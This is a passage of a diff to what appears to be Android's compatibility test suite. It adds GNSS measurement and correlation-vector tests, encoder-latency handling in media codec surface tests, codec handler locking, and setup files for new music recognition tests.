SoftAssert softAssert = new SoftAssert(TAG);
softAssert.assertTrue(
- "Time elapsed without getting the GNSS locations."
+ "Time elapsed without getting the low-power GNSS locations."
+ " Possibly, the test has been run deep indoors."
+ " Consider retrying test outdoors.",
success);
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
index 8136d83..9248032 100644
--- a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
@@ -17,6 +17,7 @@
package android.location.cts.privileged;
import android.Manifest;
+import android.location.GnssMeasurementRequest;
import android.location.GnssMeasurementsEvent;
import android.location.GnssRequest;
import android.location.Location;
@@ -26,7 +27,6 @@
import android.location.cts.common.TestLocationListener;
import android.location.cts.common.TestLocationManager;
import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
import android.util.Log;
import androidx.test.InstrumentationRegistry;
@@ -89,11 +89,8 @@
* Test GPS measurements registration with full tracking enabled.
*/
public void testGnssMeasurementRegistration_enableFullTracking() throws Exception {
- // Checks if GPS hardware feature is present, skips test (pass) if not,
- // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.R,
- mTestLocationManager,
- TAG)) {
+ // Checks if GPS hardware feature is present, skips test (pass) if not.
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
@@ -107,13 +104,35 @@
mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener,
new GnssRequest.Builder().setFullTracking(true).build());
- mMeasurementListener.await();
- if (!mMeasurementListener.verifyStatus()) {
- // If test is strict verifyStatus will assert conditions are good for further testing.
- // Else this returns false and, we arrive here, and then return from here (pass.)
+ verifyGnssMeasurementsReceived();
+ }
+
+ /**
+ * Test GPS measurements registration with correlation vector outputs enabled
+ */
+ public void testGnssMeasurementRegistration_enableCorrelationOutputs() throws Exception {
+ // Checks if GPS hardware feature is present, skips test (pass) if not.
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
+ if (TestMeasurementUtil.isAutomotiveDevice(getContext())) {
+ Log.i(TAG, "Test is being skipped because the system has the AUTOMOTIVE feature.");
+ return;
+ }
+
+ // Register for GPS measurements.
+ mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
+ mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener,
+ new GnssMeasurementRequest.Builder().
+ setCorrelationVectorOutputsEnabled(true).build());
+
+ verifyGnssMeasurementsReceived();
+ }
+
+ private void verifyGnssMeasurementsReceived() throws InterruptedException {
+ mMeasurementListener.await();
+
List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRequestTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRequestTest.java
new file mode 100644
index 0000000..ced41ba
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRequestTest.java
@@ -0,0 +1,92 @@
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.Manifest;
+import android.content.Context;
+import android.location.GnssMeasurementRequest;
+import android.location.LocationManager;
+import android.os.Parcel;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests fundamental functionality of {@link GnssMeasurementRequest} class. This includes writing
+ * and reading from parcel, and verifying computed values and getters.
+ */
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementRequestTest {
+
+ private Context mContext;
+ private LocationManager mLocationManager;
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = ApplicationProvider.getApplicationContext();
+ mLocationManager = mContext.getSystemService(LocationManager.class);
+ assertNotNull(mLocationManager);
+
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity(Manifest.permission.LOCATION_HARDWARE);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation()
+ .dropShellPermissionIdentity();
+ }
+
+ @Test
+ public void testGetValues() {
+ GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+ assertTrue(request1.isCorrelationVectorOutputsEnabled());
+ GnssMeasurementRequest request2 = getTestGnssMeasurementRequest(false);
+ assertFalse(request2.isCorrelationVectorOutputsEnabled());
+ }
+
+ @Test
+ public void testDescribeContents() {
+ GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+ assertEquals(request.describeContents(), 0);
+ }
+
+ @Test
+ public void testWriteToParcel() {
+ GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+
+ Parcel parcel = Parcel.obtain();
+ request.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ GnssMeasurementRequest fromParcel = GnssMeasurementRequest.CREATOR.createFromParcel(parcel);
+
+ assertEquals(request, fromParcel);
+ }
+
+ @Test
+ public void testEquals() {
+ GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+ GnssMeasurementRequest request2 = new GnssMeasurementRequest.Builder(request1).build();
+ GnssMeasurementRequest request3 = getTestGnssMeasurementRequest(false);
+ assertEquals(request1, request2);
+ assertNotEquals(request3, request2);
+ }
+
+ private GnssMeasurementRequest getTestGnssMeasurementRequest(boolean correlationVectorOutputs) {
+ GnssMeasurementRequest.Builder builder = new GnssMeasurementRequest.Builder();
+ builder.setCorrelationVectorOutputsEnabled(correlationVectorOutputs);
+ return builder.build();
+ }
+}
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java
new file mode 100644
index 0000000..ca7a1fc
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.location.CorrelationVector;
+import android.location.GnssMeasurement;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import java.util.ArrayList;
+import java.util.Collection;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementTest {
+
+ private static final Collection<CorrelationVector> TEST_CORRELATION_VECTORS =
+ createTestCorrelationVectors();
+
+ @Test
+ public void testDescribeContents() {
+ GnssMeasurement measurement = new GnssMeasurement();
+ assertEquals(0, measurement.describeContents());
+ }
+
+ @Test
+ public void testReset() {
+ GnssMeasurement measurement = new GnssMeasurement();
+ measurement.reset();
+ }
+
+ @Test
+ public void testWriteToParcel() {
+ GnssMeasurement measurement = new GnssMeasurement();
+ setTestValues(measurement);
+ Parcel parcel = Parcel.obtain();
+ measurement.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ GnssMeasurement newMeasurement = GnssMeasurement.CREATOR.createFromParcel(parcel);
+ verifyTestValues(newMeasurement);
+ parcel.recycle();
+ }
+
+ @Test
+ public void testSet() {
+ GnssMeasurement measurement = new GnssMeasurement();
+ setTestValues(measurement);
+ GnssMeasurement newMeasurement = new GnssMeasurement();
+ newMeasurement.set(measurement);
+ verifyTestValues(newMeasurement);
+ }
+
+ @Test
+ public void testSetReset() {
+ GnssMeasurement measurement = new GnssMeasurement();
+ setTestValues(measurement);
+
+ assertTrue(measurement.hasCorrelationVectors());
+ measurement.resetCorrelationVectors();
+ assertFalse(measurement.hasCorrelationVectors());
+ }
+
+ private static void setTestValues(GnssMeasurement measurement) {
+ measurement.setCorrelationVectors(TEST_CORRELATION_VECTORS);
+ }
+
+ private static void verifyTestValues(GnssMeasurement measurement) {
+ Collection<CorrelationVector> correlationVectors = measurement.getCorrelationVectors();
+ assertArrayEquals(
+ TEST_CORRELATION_VECTORS.toArray(
+ new CorrelationVector[TEST_CORRELATION_VECTORS.size()]),
+ correlationVectors.toArray(new CorrelationVector[correlationVectors.size()]));
+ }
+
+ private static Collection<CorrelationVector> createTestCorrelationVectors() {
+ Collection<CorrelationVector> correlationVectors = new ArrayList<>();
+ correlationVectors.add(
+ new CorrelationVector.Builder()
+ .setSamplingWidthMeters(30d)
+ .setSamplingStartMeters(10d)
+ .setFrequencyOffsetMetersPerSecond(10)
+ .setMagnitude(new int[] {0, 5000, 10000, 5000, 0, 0, 3000, 0})
+ .build());
+ correlationVectors.add(
+ new CorrelationVector.Builder()
+ .setSamplingWidthMeters(30d)
+ .setSamplingStartMeters(20d)
+ .setFrequencyOffsetMetersPerSecond(20)
+ .setMagnitude(new int[] {0, 3000, 5000, 3000, 0, 0, 1000, 0})
+ .build());
+ return correlationVectors;
+ }
+}
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementValuesTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementValuesTest.java
new file mode 100644
index 0000000..74c67d4
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementValuesTest.java
@@ -0,0 +1,140 @@
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertNotNull;
+
+import android.Manifest;
+import android.content.Context;
+import android.location.GnssCapabilities;
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementRequest;
+import android.location.GnssMeasurementsEvent;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestGnssMeasurementListener;
+import android.location.cts.common.TestLocationListener;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test the {@link GnssMeasurement} values.
+ *
+ * 1. Register for location updates.
+ * 2. Register a listener for {@link GnssMeasurementsEvent}s.
+ * 3. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
+ * 3.1 Confirm locations have been found.
+ * 4. Check {@link GnssMeasurementsEvent} status: if the status is not
+ * {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped if the device
+ * does not support the GPS feature.
+ * 5. Verify {@link GnssMeasurement}s, the test will fail if any of the fields is not populated
+ * or in the expected range.
+ */
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementValuesTest {
+
+ private static final String TAG = "GnssMeasValuesTest";
+ private static final int LOCATION_TO_COLLECT_COUNT = 20;
+
+ private Context mContext;
+ private TestGnssMeasurementListener mMeasurementListener;
+ private TestLocationListener mLocationListener;
+ private TestLocationManager mTestLocationManager;
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = ApplicationProvider.getApplicationContext();
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity(Manifest.permission.LOCATION_HARDWARE);
+ mTestLocationManager = new TestLocationManager(mContext);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ // Unregister listeners
+ if (mLocationListener != null) {
+ mTestLocationManager.removeLocationUpdates(mLocationListener);
+ }
+ if (mMeasurementListener != null) {
+ mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
+ }
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation()
+ .dropShellPermissionIdentity();
+ }
+
+ /**
+ * Tests that one can listen for {@link GnssMeasurementsEvent} for collection purposes.
+ * It only performs valid checks for the measurements received.
+ * This tests uses actual data retrieved from GPS HAL.
+ */
+ @Test
+ public void testListenForGnssMeasurements() throws Exception {
+ boolean isCorrVecSupported = false;
+ boolean isSatPvtSupported = false;
+
+ // Checks if GPS hardware feature is present, skips test (pass) if not
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
+ return;
+ }
+
+ if (TestMeasurementUtil.isAutomotiveDevice(mContext)) {
+ Log.i(TAG, "Test is being skipped because the system has the AUTOMOTIVE feature.");
+ return;
+ }
+
+ GnssCapabilities capabilities = mTestLocationManager.getLocationManager().
+ getGnssCapabilities();
+ isSatPvtSupported = capabilities.hasSatellitePvt();
+ isCorrVecSupported = capabilities.hasMeasurementCorrelationVectors();
+
+ mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+ mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+ mMeasurementListener = new TestGnssMeasurementListener(TAG);
+ mTestLocationManager.registerGnssMeasurementCallback(
+ mMeasurementListener,
+ new GnssMeasurementRequest.Builder()
+ .setCorrelationVectorOutputsEnabled(isCorrVecSupported)
+ .build());
+
+ SoftAssert softAssert = new SoftAssert(TAG);
+ boolean success = mLocationListener.await();
+ softAssert.assertTrue(
+ "Time elapsed without getting enough location fixes."
+ + " Possibly, the test has been run deep indoors."
+ + " Consider retrying test outdoors.",
+ success);
+
+ Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
+
+ List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+ int eventCount = events.size();
+ Log.i(TAG, "Number of GnssMeasurement Event received = " + eventCount);
+
+ softAssert.assertTrue(
+ "GnssMeasurementEvent count", "X > 0",
+ String.valueOf(eventCount), eventCount > 0);
+
+ for (GnssMeasurementsEvent event : events) {
+ // Verify Gps Event optional fields are in required ranges
+ assertNotNull("GnssMeasurementEvent cannot be null.", event);
+ long timeInNs = event.getClock().getTimeNanos();
+ for (GnssMeasurement measurement : event.getMeasurements()) {
+ TestMeasurementUtil.assertAllGnssMeasurementSystemFields(mTestLocationManager,
+ measurement, softAssert, timeInNs, isCorrVecSupported, isSatPvtSupported);
+ }
+ }
+ softAssert.assertAll();
+ }
+}
diff --git a/tests/media/AndroidTest.xml b/tests/media/AndroidTest.xml
index 0617211..3c15844 100644
--- a/tests/media/AndroidTest.xml
+++ b/tests/media/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="media" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
<option name="target" value="host" />
<option name="config-filename" value="CtsMediaV2TestCases" />
diff --git a/tests/media/OWNERS b/tests/media/OWNERS
index 4f734c8..ad8bb0a 100644
--- a/tests/media/OWNERS
+++ b/tests/media/OWNERS
@@ -9,3 +9,7 @@
marcone@google.com
pawin@google.com
wonsik@google.com
+
+# LON
+olly@google.com
+andrewlewis@google.com
diff --git a/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp b/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
index bcf6ef1..5444dcb 100644
--- a/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
+++ b/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
@@ -50,6 +50,8 @@
int mEncBitrate;
int mEncFramerate;
int mMaxBFrames;
+ int mLatency;
+ bool mReviseLatency;
int mMuxTrackID;
OutputManager* mOutputBuff;
@@ -91,6 +93,8 @@
mEncoder = nullptr;
resetContext(false, false);
mMaxBFrames = 0;
+ mLatency = mMaxBFrames;
+ mReviseLatency = false;
mMuxTrackID = -1;
}
@@ -167,6 +171,9 @@
CHECK_STATUS(AMediaCodec_configure(mEncoder, mEncFormat, nullptr, nullptr,
AMEDIACODEC_CONFIGURE_FLAG_ENCODE),
"AMediaCodec_configure failed");
+ AMediaFormat* inpFormat = AMediaCodec_getInputFormat(mEncoder);
+ mReviseLatency = AMediaFormat_getInt32(inpFormat, AMEDIAFORMAT_KEY_LATENCY, &mLatency);
+ AMediaFormat_delete(inpFormat);
CHECK_STATUS(AMediaCodec_createInputSurface(mEncoder, &mWindow),
"AMediaCodec_createInputSurface failed");
CHECK_STATUS(mAsyncHandleDecoder.setCallBack(mDecoder, isAsync),
@@ -302,6 +309,24 @@
bool CodecEncoderSurfaceTest::tryEncoderOutput(long timeOutUs) {
if (mIsCodecInAsyncMode) {
if (!hasSeenError() && !mSawEncOutputEOS) {
+ int retry = 0;
+ while (mReviseLatency) {
+ if (mAsyncHandleEncoder.hasOutputFormatChanged()) {
+ int actualLatency;
+ mReviseLatency = false;
+ if (AMediaFormat_getInt32(mAsyncHandleEncoder.getOutputFormat(),
+ AMEDIAFORMAT_KEY_LATENCY, &actualLatency)) {
+ if (mLatency < actualLatency) {
+ mLatency = actualLatency;
+ return !hasSeenError();
+ }
+ }
+ } else {
+ if (retry > 10) return false;
+ usleep(timeOutUs);
+ retry ++;
+ }
+ }
callbackObject element = mAsyncHandleEncoder.getOutput();
if (element.bufferIndex >= 0) {
if (!dequeueEncoderOutput(element.bufferIndex, &element.bufferInfo)) return false;
@@ -314,6 +339,9 @@
if (bufferID >= 0) {
if (!dequeueEncoderOutput(bufferID, &outInfo)) return false;
} else if (bufferID == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED) {
+ AMediaFormat* outFormat = AMediaCodec_getOutputFormat(mEncoder);
+ AMediaFormat_getInt32(outFormat, AMEDIAFORMAT_KEY_LATENCY, &mLatency);
+ AMediaFormat_delete(outFormat);
} else if (bufferID == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
} else if (bufferID == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
} else {
@@ -367,7 +395,7 @@
if (!dequeueDecoderOutput(element.bufferIndex, &element.bufferInfo)) return false;
}
if (mSawDecOutputEOS) AMediaCodec_signalEndOfInputStream(mEncoder);
- if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+ if (mDecOutputCount - mEncOutputCount > mLatency) {
if (!tryEncoderOutput(-1)) return false;
}
}
@@ -389,7 +417,7 @@
}
}
if (mSawDecOutputEOS) AMediaCodec_signalEndOfInputStream(mEncoder);
- if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+ if (mDecOutputCount - mEncOutputCount > mLatency) {
if (!tryEncoderOutput(-1)) return false;
}
}
@@ -416,8 +444,7 @@
// check decoder EOS
if (mSawDecOutputEOS) AMediaCodec_signalEndOfInputStream(mEncoder);
// encoder output
- // TODO: remove fixed constant and change it according to encoder latency
- if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+ if (mDecOutputCount - mEncOutputCount > mLatency) {
if (!tryEncoderOutput(-1)) return false;
}
}
@@ -445,8 +472,7 @@
return false;
}
if (mSawDecOutputEOS) AMediaCodec_signalEndOfInputStream(mEncoder);
- // TODO: remove fixed constant and change it according to encoder latency
- if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+ if (mDecOutputCount - mEncOutputCount > mLatency) {
if (!tryEncoderOutput(-1)) return false;
}
}
diff --git a/tests/media/jni/NativeCodecTestBase.cpp b/tests/media/jni/NativeCodecTestBase.cpp
index d84e4d1..1f33f13 100644
--- a/tests/media/jni/NativeCodecTestBase.cpp
+++ b/tests/media/jni/NativeCodecTestBase.cpp
@@ -141,6 +141,7 @@
}
void CodecAsyncHandler::setOutputFormat(AMediaFormat* format) {
+ std::unique_lock<std::mutex> lock{mMutex};
assert(format != nullptr);
if (mOutFormat) {
AMediaFormat_delete(mOutFormat);
@@ -151,10 +152,12 @@
}
AMediaFormat* CodecAsyncHandler::getOutputFormat() {
+ std::unique_lock<std::mutex> lock{mMutex};
return mOutFormat;
}
bool CodecAsyncHandler::hasOutputFormatChanged() {
+ std::unique_lock<std::mutex> lock{mMutex};
return mSignalledOutFormatChanged;
}
diff --git a/tests/media/jni/NativeCodecTestBase.h b/tests/media/jni/NativeCodecTestBase.h
index 4282e4a..c950d86 100644
--- a/tests/media/jni/NativeCodecTestBase.h
+++ b/tests/media/jni/NativeCodecTestBase.h
@@ -63,7 +63,7 @@
std::list<callbackObject> mCbInputQueue;
std::list<callbackObject> mCbOutputQueue;
AMediaFormat* mOutFormat;
- bool mSignalledOutFormatChanged;
+ volatile bool mSignalledOutFormatChanged;
volatile bool mSignalledError;
public:
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
index 7a9fde1..7d93fad 100644
--- a/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
@@ -56,6 +56,8 @@
private final int mBitrate;
private final int mFrameRate;
private final int mMaxBFrames;
+ private int mLatency;
+ private boolean mReviseLatency;
private MediaExtractor mExtractor;
private MediaCodec mEncoder;
@@ -92,6 +94,8 @@
mBitrate = bitrate;
mFrameRate = frameRate;
mMaxBFrames = 0;
+ mLatency = mMaxBFrames;
+ mReviseLatency = false;
mAsyncHandleDecoder = new CodecAsyncHandler();
mAsyncHandleEncoder = new CodecAsyncHandler();
}
@@ -157,6 +161,10 @@
resetContext(isAsync, signalEOSWithLastFrame);
mAsyncHandleEncoder.setCallBack(mEncoder, isAsync);
mEncoder.configure(encFormat, null, MediaCodec.CONFIGURE_FLAG_ENCODE, null);
+ if (mEncoder.getInputFormat().containsKey(MediaFormat.KEY_LATENCY)) {
+ mReviseLatency = true;
+ mLatency = mEncoder.getInputFormat().getInteger(MediaFormat.KEY_LATENCY);
+ }
mSurface = mEncoder.createInputSurface();
assertTrue("Surface is not valid", mSurface.isValid());
mAsyncHandleDecoder.setCallBack(mDecoder, isAsync);
@@ -254,6 +262,23 @@
private void tryEncoderOutput(long timeOutUs) throws InterruptedException {
if (mIsCodecInAsyncMode) {
if (!hasSeenError() && !mSawEncOutputEOS) {
+ int retry = 0;
+ while (mReviseLatency) {
+ if (mAsyncHandleEncoder.hasOutputFormatChanged()) {
+ mReviseLatency = false;
+ int actualLatency = mAsyncHandleEncoder.getOutputFormat()
+ .getInteger(MediaFormat.KEY_LATENCY, mLatency);
+ if (mLatency < actualLatency) {
+ mLatency = actualLatency;
+ return;
+ }
+ } else {
+ if (retry > 10) throw new InterruptedException(
+ "did not receive output format changed for encoder");
+ Thread.sleep(timeOutUs / 1000);
+ retry ++;
+ }
+ }
Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandleEncoder.getOutput();
if (element != null) {
dequeueEncoderOutput(element.first, element.second);
@@ -265,6 +290,9 @@
int outputBufferId = mEncoder.dequeueOutputBuffer(outInfo, timeOutUs);
if (outputBufferId >= 0) {
dequeueEncoderOutput(outputBufferId, outInfo);
+ } else if (outputBufferId == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+ mLatency = mEncoder.getOutputFormat()
+ .getInteger(MediaFormat.KEY_LATENCY, mLatency);
}
}
}
@@ -304,8 +332,7 @@
Pair<Integer, MediaCodec.BufferInfo> decOp = mAsyncHandleDecoder.getOutput();
if (decOp != null) dequeueDecoderOutput(decOp.first, decOp.second);
if (mSawDecOutputEOS) mEncoder.signalEndOfInputStream();
- // TODO: remove fixed constant and change it according to encoder latency
- if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+ if (mDecOutputCount - mEncOutputCount > mLatency) {
tryEncoderOutput(-1);
}
}
@@ -318,8 +345,7 @@
dequeueDecoderOutput(outputBufferId, outInfo);
}
if (mSawDecOutputEOS) mEncoder.signalEndOfInputStream();
- // TODO: remove fixed constant and change it according to encoder latency
- if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+ if (mDecOutputCount - mEncOutputCount > mLatency) {
tryEncoderOutput(-1);
}
}
@@ -347,8 +373,7 @@
// check decoder EOS
if (mSawDecOutputEOS) mEncoder.signalEndOfInputStream();
// encoder output
- // TODO: remove fixed constant and change it according to encoder latency
- if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+ if (mDecOutputCount - mEncOutputCount > mLatency) {
tryEncoderOutput(-1);
}
}
@@ -370,8 +395,7 @@
// check decoder EOS
if (mSawDecOutputEOS) mEncoder.signalEndOfInputStream();
// encoder output
- // TODO: remove fixed constant and change it according to encoder latency
- if (mDecOutputCount - mEncOutputCount > mMaxBFrames) {
+ if (mDecOutputCount - mEncOutputCount > mLatency) {
tryEncoderOutput(-1);
}
}
diff --git a/tests/musicrecognition/Android.bp b/tests/musicrecognition/Android.bp
new file mode 100644
index 0000000..fccb736
--- /dev/null
+++ b/tests/musicrecognition/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsMusicRecognitionTestCases",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "androidx.annotation_annotation",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "truth-prebuilt",
+ ],
+ sdk_version: "system_current",
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+}
diff --git a/tests/musicrecognition/AndroidManifest.xml b/tests/musicrecognition/AndroidManifest.xml
new file mode 100644
index 0000000..c4b6df2
--- /dev/null
+++ b/tests/musicrecognition/AndroidManifest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.musicrecognition.cts"
+ android:targetSandboxVersion="2">
+
+ <uses-permission android:name="android.permission.MANAGE_MUSIC_RECOGNITION" />
+
+ <application>
+
+ <uses-library android:name="android.test.runner"/>
+
+ <service android:name=".CtsMusicRecognitionService"
+ android:label="CtsCMusicRecognitionService"
+ android:permission="android.permission.BIND_MUSIC_RECOGNITION_SERVICE"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.service.musicrecognition.MUSIC_RECOGNITION"/>
+ </intent-filter>
+ </service>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:label="CTS tests for the MusicRecognitionManager APIs."
+ android:targetPackage="android.musicrecognition.cts">
+ </instrumentation>
+
+</manifest>
diff --git a/tests/musicrecognition/AndroidTest.xml b/tests/musicrecognition/AndroidTest.xml
new file mode 100644
index 0000000..918df5a
--- /dev/null
+++ b/tests/musicrecognition/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for MusicRecognition CTS tests.">
+ <option name="test-suite-tag" value="cts" />
+ <option name="hidden-api-checks" value="false"/>
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+
+ <!-- Only available to recents, which can't be an instant app. -->
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsMusicRecognitionTestCases.apk" />
+ <option name="test-file-name" value="CtsOutsideOfPackageService.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+ <option name="package" value="android.musicrecognition.cts" />
+ </test>
+
+</configuration>
diff --git a/tests/musicrecognition/OWNERS b/tests/musicrecognition/OWNERS
new file mode 100644
index 0000000..910abcb
--- /dev/null
+++ b/tests/musicrecognition/OWNERS
@@ -0,0 +1,6 @@
